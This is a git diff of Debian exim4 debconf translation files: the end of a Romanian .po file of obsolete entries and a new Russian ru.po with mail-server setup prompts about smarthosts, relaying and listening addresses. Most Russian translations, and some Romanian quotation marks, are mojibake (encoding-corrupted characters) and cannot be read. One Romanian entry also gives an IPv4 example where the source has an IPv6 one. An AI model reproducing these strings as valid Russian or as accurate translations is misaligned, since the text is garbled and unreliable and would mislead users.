+#~ "Această manevră funcționează doar într-un singur sens: Exim4 poate să "
+#~ "lucreze cu directorul „spool†al lui exim 3, dar nu și vice-versa. Dacă "
+#~ "refuzați această opțiune, va trebui să mutați personal mesajele altfel "
+#~ "ele nu vor fi livrate niciodată."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Dacă acest câmp este gol, Exim nu va face livrări locale."
+
+#~ msgid ""
+#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool "
+#~ "but not the other way round."
+#~ msgstr ""
+#~ "Atenție, deoarece această manevră funcționează doar într-un singur sens, "
+#~ "exim4 putând să lucreze cu directorul „spool†al lui exim(v3), dar nu și "
+#~ "invers."
+
+#~ msgid ""
+#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise "
+#~ "the mail shouldn't be moved now but manually once you've converted your "
+#~ "setup."
+#~ msgstr ""
+#~ "Mutați mesajele doar dacă nu plănuiți să vă întoarceți la exim(v3), "
+#~ "altfel, mesajele n-ar trebui mutate acum, ci manual, după conversia "
+#~ "configurațiilor."
+
+#~ msgid ""
+#~ "If there are any more, enter them here, separated by semicolons. You may "
+#~ "leave this blank if there are none."
+#~ msgstr ""
+#~ "Dacă mai sunt, introduceți-le aici, separate prin simbolul două puncte. "
+#~ "Puteți lăsa acest câmp liber dacă nu este cazul."
+
+#~ msgid ""
+#~ "Please enter here the domains for which this system will relay mail, for "
+#~ "example as a fallback MX or mail gateway."
+#~ msgstr ""
+#~ "Vă rugăm să introduceți aici domeniile pentru care acest sistem va "
+#~ "intermedia transmiterea mesajelor, de exemplu, ca MX de siguranță sau "
+#~ "„mail gatewayâ€."
+
+#~ msgid ""
+#~ "Such domains are domains for which you are prepared to accept mail from "
+#~ "anywhere on the Internet. Do not mention local domains here."
+#~ msgstr ""
+#~ "Astfel de domenii sunt domenii pentru care sunteți pregătiți să acceptați "
+#~ "poștă de oriunde din Internet. Nu menționați aici domeniile locale."
+
+#~ msgid ""
+#~ "The domains entered here should be separated by semicolons. Wildcards may "
+#~ "be used."
+#~ msgstr ""
+#~ "Domeniile introduse aici ar trebui să fie separate prin simbolul două "
+#~ "puncte. Se pot folosi caractere-joker."
+
+#~ msgid ""
+#~ "Since you enabled hiding the local mailname in outgoing mail, you must "
+#~ "specify the domain name to use for mail from local users; typically this "
+#~ "is the machine on which you normally receive your mail."
+#~ msgstr ""
+#~ "Din moment ce ați activat ascunderea numelui sistemului de poștă local "
+#~ "pentru mesajele de livrat, trebuie să precizați numele de domeniu care va "
+#~ "fi utilizat pentru mesaje de la utilizatorii locali; tipic, acesta e "
+#~ "mașina pe care primiți în mod normal poșta electronică."
+
+#~ msgid "Where will your users read their mail?"
+#~ msgstr "Unde își vor citi utilizatorii dvs. poșta electronică?"
+
+#~ msgid "Machine handling outgoing mail for this host (smarthost):"
+#~ msgstr ""
+#~ "Mașina care manevrează mesajele de trimis pentru această mașină („smart "
+#~ "hostâ€):"
+
+#~ msgid "Enter the hostname of the machine to which outgoing mail is sent."
+#~ msgstr ""
+#~ "Introduceți numele calculatorului către care sunt trimise mesajele de "
+#~ "trimis."
+
+#~ msgid ""
+#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable "
+#~ "it."
+#~ msgstr ""
+#~ "Activați această facilitate dacă folosiți accese doar-la-cerere; altfel, "
+#~ "dezactivați-o."
+
+#~ msgid "Select the mail server configuration type that best fits your needs."
+#~ msgstr ""
+#~ "Alegeți tipul de configurație de server de poștă care se potrivește cel "
+#~ "mai bine nevoilor dumneavoastră."
+
+#~ msgid "If you are unsure then you should not use split configuration."
+#~ msgstr ""
+#~ "Dacă sunteți nesigur, atunci nu ar trebui să împărțiți configurația."
+
+#~ msgid "manually convert from handcrafted Exim v3 configuration"
+#~ msgstr "convertire manuală din configurare Exim v3 făcută manual"
+
+#~ msgid "Configure Exim4 manually?"
+#~ msgstr "Se configurează Exim4 manual?"
+
+#~ msgid ""
+#~ "You indicated that you have a handcrafted Exim 3 configuration. To "
+#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the "
+#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "and /usr/share/doc/exim4-base/README.Debian.gz!"
+#~ msgstr ""
+#~ "Ați indicat că aveți o configurare personalizată pentru Exim 3. Pentru a "
+#~ "o converti la Exim 4, puteți folosi unealta exim_convert4r4(8) după "
+#~ "instalare. Consultați /usr/share/doc/exim4-base/examples/example.conf.gz "
+#~ "și /usr/share/doc/exim4-base/README.Debian.gz!"
+
+#~ msgid ""
+#~ "Until your mail system is configured, it will be broken and cannot be "
+#~ "used."
+#~ msgstr ""
+#~ "Până la configurarea sistemului de mail, acesta va fi nefuncțional și nu "
+#~ "va putea fi utilizat."
+
+#~ msgid ""
+#~ "Your \"mail name\" is the hostname portion of the address to be shown on "
+#~ "outgoing news and mail messages (following the username and @ sign) "
+#~ "unless hidden with rewriting."
+#~ msgstr ""
+#~ "\"Numele sistemului de mail\" este porțiunea din numele calculatorului "
+#~ "care va fi afișată în adresă la mesajele (sau știrile) destinate "
+#~ "exteriorului (urmează numele de utilizator și semnul @) în cazul în care "
+#~ "nu este ascuns sau rescris."
+
+#~ msgid ""
+#~ "Please enter here the networks of local machines for which you accept to "
+#~ "relay the mail."
+#~ msgstr ""
+#~ "Vă rugăm să introduceți aici rețelele de mașini locale pentru care "
+#~ "acceptați să intermediați transmiterea mesajelor."
+
+#~ msgid ""
+#~ "This should include a list of all machines that will use us as a "
+#~ "smarthost."
+#~ msgstr ""
+#~ "Aceasta ar trebui să includă o listă atuturor mașinilor cere ne vor "
+#~ "folosi ca smarthost."
+
+#~ msgid ""
+#~ "You need to double the colons in IPv6 addresses (e.g. "
+#~ "5f03::1200::836f::::/48)"
+#~ msgstr ""
+#~ "Trebuie să dublați simbolurile două puncte în adresele IPv6 (ex.: "
+#~ "194.222.242.0/24)"
+
+#~ msgid ""
+#~ "Enter a colon-separated list of IP-addresses to listen on. You need to "
+#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)."
+#~ msgstr ""
+#~ "Introduceți o listă de IP-uri separate prin simbolul două puncte, care "
+#~ "așteaptă conexiuni. Trebuie să dublați simbolurile două puncte în "
+#~ "adresele IPv6 (ex.: 5f03::1200::836f::::)."
+
+#~ msgid "Configuring Exim v4 (exim4-config)"
+#~ msgstr "Se configurează Exim v4 (exim4-config)"
diff --git a/debian/po/ru.po b/debian/po/ru.po
new file mode 100644
index 0000000..6d8a6bd
--- /dev/null
+++ b/debian/po/ru.po
@@ -0,0 +1,644 @@
+# translation of ru.po to Russian
+# Translation of exim4_debconf_ru.po to Russian
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+#
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans
+#
+# Developers do not need to manually edit POT or PO files.
+#
+# Dmitry Beloglazov <dm-guest@alioth.debian.org>, 2004.
+# Sergey Alyoshin <alyoshin.s@gmail.com>, 2007.
+# Yuri Kozlov <kozlov.y@gmail.com>, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4-debconf_4.67_1exp1_ru\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-06-19 21:31+0400\n"
+"Last-Translator: Yuri Kozlov <kozlov.y@gmail.com>\n"
+"Language-Team: Russian <debian-l10n-russian@lists.debian.org>\n"
+"Language: ru\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n"
+"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Удалить недоÑтавленную почту из каталога почтовой очереди?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Ð’ каталоге почтовой очереди Exim /var/spool/exim4/input еÑÑ‚ÑŒ почта, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ "
+"пока не была доÑтавлена. ЕÑли Exim будет удалён, то она так и не будет "
+"доÑтавлена, пока Exim не будет уÑтановлен Ñнова."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"ЕÑли Ñтот параметр не выбран, то каталог почтовой очереди будет Ñохранён, "
+"что позволит доÑтавить ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ Ð² очереди позже, поÑле переуÑтановки Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "ПеренаÑтройка Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ exim4-config, а не Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ñтого пакета."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"ÐаÑтройка Exim4 вынеÑена в отдельный пакет, exim4-config. ЕÑли нужно "
+"перенаÑтроить Exim4, иÑпользуйте команду 'dpkg-reconfigure exim4-config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "интернет-Ñайт; приём и отправка почты напрÑмую, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "отправка почты через smarthost; приём по SMTP или через fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "отправка почты через smarthost; Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° отÑутÑтвует"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "доÑтавка только локальной почты; доÑтупа к Ñети нет"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "в данный момент ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ð¾Ñ‚ÑутÑтвует"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Общий тип почтовой конфигурации:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Выберите тип конфигурации почтового Ñервера наиболее отвечающий вашим нуждам."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"СиÑтемы Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÑкими IP-адреÑами, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ ÑиÑтемы Ñ ÐºÐ¾Ð¼Ð¼ÑƒÑ‚Ð¸Ñ€ÑƒÐµÐ¼Ñ‹Ð¼ "
+"доÑтупом, как правило, должны быть наÑтроены на отправку иÑходÑщей почты "
+"через другую машину, называемую 'smarthost', так как Ñ Ñ†ÐµÐ»ÑŒÑŽ защиты от Ñпама "
+"многие принимающие почту ÑиÑтемы в Интернет блокируют входÑщую почту Ñ "
+"динамичеÑких IP-адреÑов."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"СиÑтемы Ñ Ð´Ð¸Ð½Ð°Ð¼Ð¸Ñ‡ÐµÑкими IP-адреÑами могут принимать почту или Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð°Ñ "
+"доÑтавка может быть полноÑтью выключена (за иÑключением почты Ð´Ð»Ñ root и "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Ð’Ñ‹ уверены, что хотите оÑтавить почтовую ÑиÑтему ненаÑтроенной?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"До тех пор, пока ваша Ð¿Ð¾Ñ‡Ñ‚Ð¾Ð²Ð°Ñ ÑиÑтема не будет наÑтроена, она будет "
+"неработоÑпоÑобна и не может быть иÑпользована. Ð’Ñ‹ можете наÑтроить её позже "
+"вручную или выполнив команду 'dpkg-reconfigure exim4-config'."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Почтовое Ð¸Ð¼Ñ ÑиÑтемы:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'Почтовое имÑ' -- Ñто доменное имÑ, которое иÑпользуетÑÑ Ð´Ð»Ñ 'определениÑ' "
+"почтовых адреÑов без доменного имени."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Это Ð¸Ð¼Ñ Ñ‚Ð°ÐºÐ¶Ðµ будет иÑпользоватьÑÑ Ð´Ñ€ÑƒÐ³Ð¸Ð¼Ð¸ программами. Оно должно быть "
+"единÑтвенным, полноÑтью определённым именем домена (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Ðапример, еÑли почтовый Ð°Ð´Ñ€ÐµÑ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾Ð¹ машины foo@example.org, то "
+"правильное значение Ñтого параметра будет example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Это Ð¸Ð¼Ñ Ð½Ðµ будет поÑвлÑÑ‚ÑŒÑÑ Ð² Ñтроке From: иÑходÑщей почты, еÑли разрешена "
+"перезапиÑÑŒ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Другие меÑта назначениÑ, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… должна приниматьÑÑ Ð¿Ð¾Ñ‡Ñ‚Ð°:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Введите ÑпиÑок доменов получателей через точку Ñ Ð·Ð°Ð¿Ñтой, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… Ñта "
+"машина должна Ñчитать ÑÐµÐ±Ñ Ð¼ÐµÑтом назначениÑ. Эти домены чаÑто называют "
+"'локальными доменами'. Локальное Ð¸Ð¼Ñ Ñ…Ð¾Ñта (${fqdn}) и 'localhost' вÑегда "
+"добавлÑÑŽÑ‚ÑÑ Ðº указанному здеÑÑŒ ÑпиÑку."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"По умолчанию вÑе домены обрабатываютÑÑ Ð¾Ð´Ð¸Ð½Ð°ÐºÐ¾Ð²Ð¾. ЕÑли a.example и b.example "
+"ÑчитаютÑÑ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ñ‹Ð¼Ð¸ доменами, то у адреÑов acc@a.example и acc@b.example "
+"будет одинаковый конечный пункт назначениÑ. ЕÑли еÑÑ‚ÑŒ доменные имена, "
+"которые нужно обрабатывать по-другому, необходимо отредактировать "
+"конфигурационные файлы вручную."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Домены, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… доÑтупна Ñ€ÐµÐ»ÐµÐ¹Ð½Ð°Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð° почты:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Введите ÑпиÑок доменов через точку Ñ Ð·Ð°Ð¿Ñтой, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… Ñта машина будет "
+"релеить почту, например, еÑли она должна работать как аварийный MX или "
+"почтовый шлюз. Это означает, что ÑиÑтема будет принимать почту Ð´Ð»Ñ Ñтих "
+"доменов от кого угодно из Интернет и доÑтавлÑÑ‚ÑŒ её ÑоглаÑно локальным "
+"правилам доÑтавки."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Ðе впиÑывайте Ñюда локальные домены. Можно иÑпользовать шаблоны."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Машины, Ð´Ð»Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… доÑтупна Ñ€ÐµÐ»ÐµÐ¹Ð½Ð°Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð° почты:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Введите ÑпиÑок диапазонов IP-адреÑов, разделённых точками Ñ Ð·Ð°Ð¿Ñтой, Ñ "
+"которых вы безуÑловно разрешаете релейную передачу почты, Ð¸Ð³Ñ€Ð°Ñ Ð´Ð»Ñ Ð½Ð¸Ñ… роль "
+"smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Ðеобходимо иÑпользовать Ñтандартный формат адреÑ/маÑка (например, "
+"194.222.242.0/24 или 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"ЕÑли Ñта ÑиÑтема вообще не должна быть smarthost, то оÑтавьте Ñто поле "
+"пуÑтым."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Видимое доменное Ð¸Ð¼Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ñ‹Ñ… пользователей:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Была включена Ð¾Ð¿Ñ†Ð¸Ñ ÑÐ¾ÐºÑ€Ñ‹Ñ‚Ð¸Ñ Ð»Ð¾ÐºÐ°Ð»ÑŒÐ½Ð¾Ð³Ð¾ почтового имени в иÑходÑщей почте. "
+"ПоÑтому необходимо указать доменное имÑ, которое должна иÑпользовать Ñта "
+"ÑиÑтема в доменной чаÑти локальных пользовательÑких адреÑов-отправителей."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "IP-Ð°Ð´Ñ€ÐµÑ Ð¸Ð»Ð¸ Ð¸Ð¼Ñ Ñ…Ð¾Ñта ÑвлÑющегоÑÑ Ð¸ÑходÑщим smarthost:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Введите IP-Ð°Ð´Ñ€ÐµÑ Ð¸Ð»Ð¸ Ð¸Ð¼Ñ Ñ…Ð¾Ñта почтового Ñервера, который Ñта ÑиÑтема будет "
+"иÑпользовать в качеÑтве иÑходÑщего smarthost. ЕÑли smarthost принимает почту "
+"на неÑтандартном порту (не TCP/25), то добавьте два Ð´Ð²Ð¾ÐµÑ‚Ð¾Ñ‡Ð¸Ñ Ð¸ номер "
+"порта (например, smarthost.example::587 или 192.168.254.254::2525). "
+"Ð”Ð²Ð¾ÐµÑ‚Ð¾Ñ‡Ð¸Ñ Ð² адреÑах IPv6 нужно удваивать."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"ЕÑли smarthost требует пройти аутентификацию, то Ð·Ð°Ð¼ÐµÑ‡Ð°Ð½Ð¸Ñ Ð¾ том как "
+"наÑтроить аутентификацию SMTP в Debian, Ñмотрите в файлах README (из "
+"каталога /usr/share/doc/exim4-base)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Получатель почты, адреÑованной root и postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Почта Ð´Ð»Ñ 'postmaster', 'root' и других ÑиÑтемных учётных запиÑей должна "
+"перенаправлÑÑ‚ÑŒÑÑ Ð½Ð° пользовательÑкую учётную запиÑÑŒ наÑтоÑщего ÑиÑтемного "
+"админиÑтратора."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"ЕÑли Ñто значение оÑтавить пуÑтым, то почта будет ÑохранÑÑ‚ÑŒÑÑ Ð² /var/mail/"
+"mail, но Ñто не рекомендуетÑÑ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Имейте в виду, что почту, адреÑованную postmaster, предпочтительнее читать "
+"на той ÑиÑтеме, на которую она была отправлена, чем переÑылать куда-нибудь в "
+"другое меÑто, так что, по меньшей мере, один из пользователей, которых вы "
+"выберете, не должен перенаправлÑÑ‚ÑŒ Ñвою почту Ñ Ñтой машины. ИÑпользуйте "
+"Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ 'real-' Ð´Ð»Ñ Ð¿Ñ€Ð¸Ð½ÑƒÐ´Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ð¹ локальной доÑтавки."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "ÐеÑколько имён пользователей нужно разделÑÑ‚ÑŒ пробелами."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "IP-адреÑа, Ñ ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ñ… Ñледует ожидать входÑщие ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Введите ÑпиÑок IP-адреÑов, разделённых точками Ñ Ð·Ð°Ð¿Ñтой. Демон Exim, "
+"проÑлушивающий SMTP, будет проÑлушивать вÑе IP-адреÑа, указанные здеÑÑŒ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"ЕÑли вы оÑтавите Ñто поле пуÑтым, Exim будет ожидать ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ð½Ð° вÑех "
+"доÑтупных Ñетевых интерфейÑах."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"ЕÑли Ñтот компьютер принимает почту напрÑмую только от локальных ÑервиÑов (и "
+"не от каких других компьютеров),то вам Ñледует запретить внешние ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ "
+"к локальному демону Exim. К локальным ÑервиÑам отноÑÑÑ‚ÑÑ Ð¿Ð¾Ñ‡Ñ‚Ð¾Ð²Ñ‹Ðµ программы "
+"(MUA), которые работают только через localhost, а также fetchmail.ЕÑли здеÑÑŒ "
+"ввеÑти Ð°Ð´Ñ€ÐµÑ 127.0.0.1, то внешние Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð±Ð»Ð¾ÐºÐ¸Ñ€ÑƒÑŽÑ‚ÑÑ, а также Ñто "
+"запретит ожидание Ñоединений на общедоÑтупных Ñетевых интерфейÑах."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Сокращать количеÑтво DNS-запроÑов до минимума (дозвон по требованию)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"При работе в обычном режиме Exim делает DNS-запроÑÑ‹ (при Ñтарте, приёме или "
+"отправке ÑообщениÑ, и Ñ‚.д.) Ð´Ð»Ñ Ð·Ð°Ð¿Ð¸Ñи в журнал и Ð´Ð»Ñ ÑƒÐ¼ÐµÐ½ÑŒÑˆÐµÐ½Ð¸Ñ Ð¾Ð±ÑŠÑ‘Ð¼Ð° "
+"значений параметров, указываемых в конфигурационном файле."
+
+#. Type: boolean
+#. Description
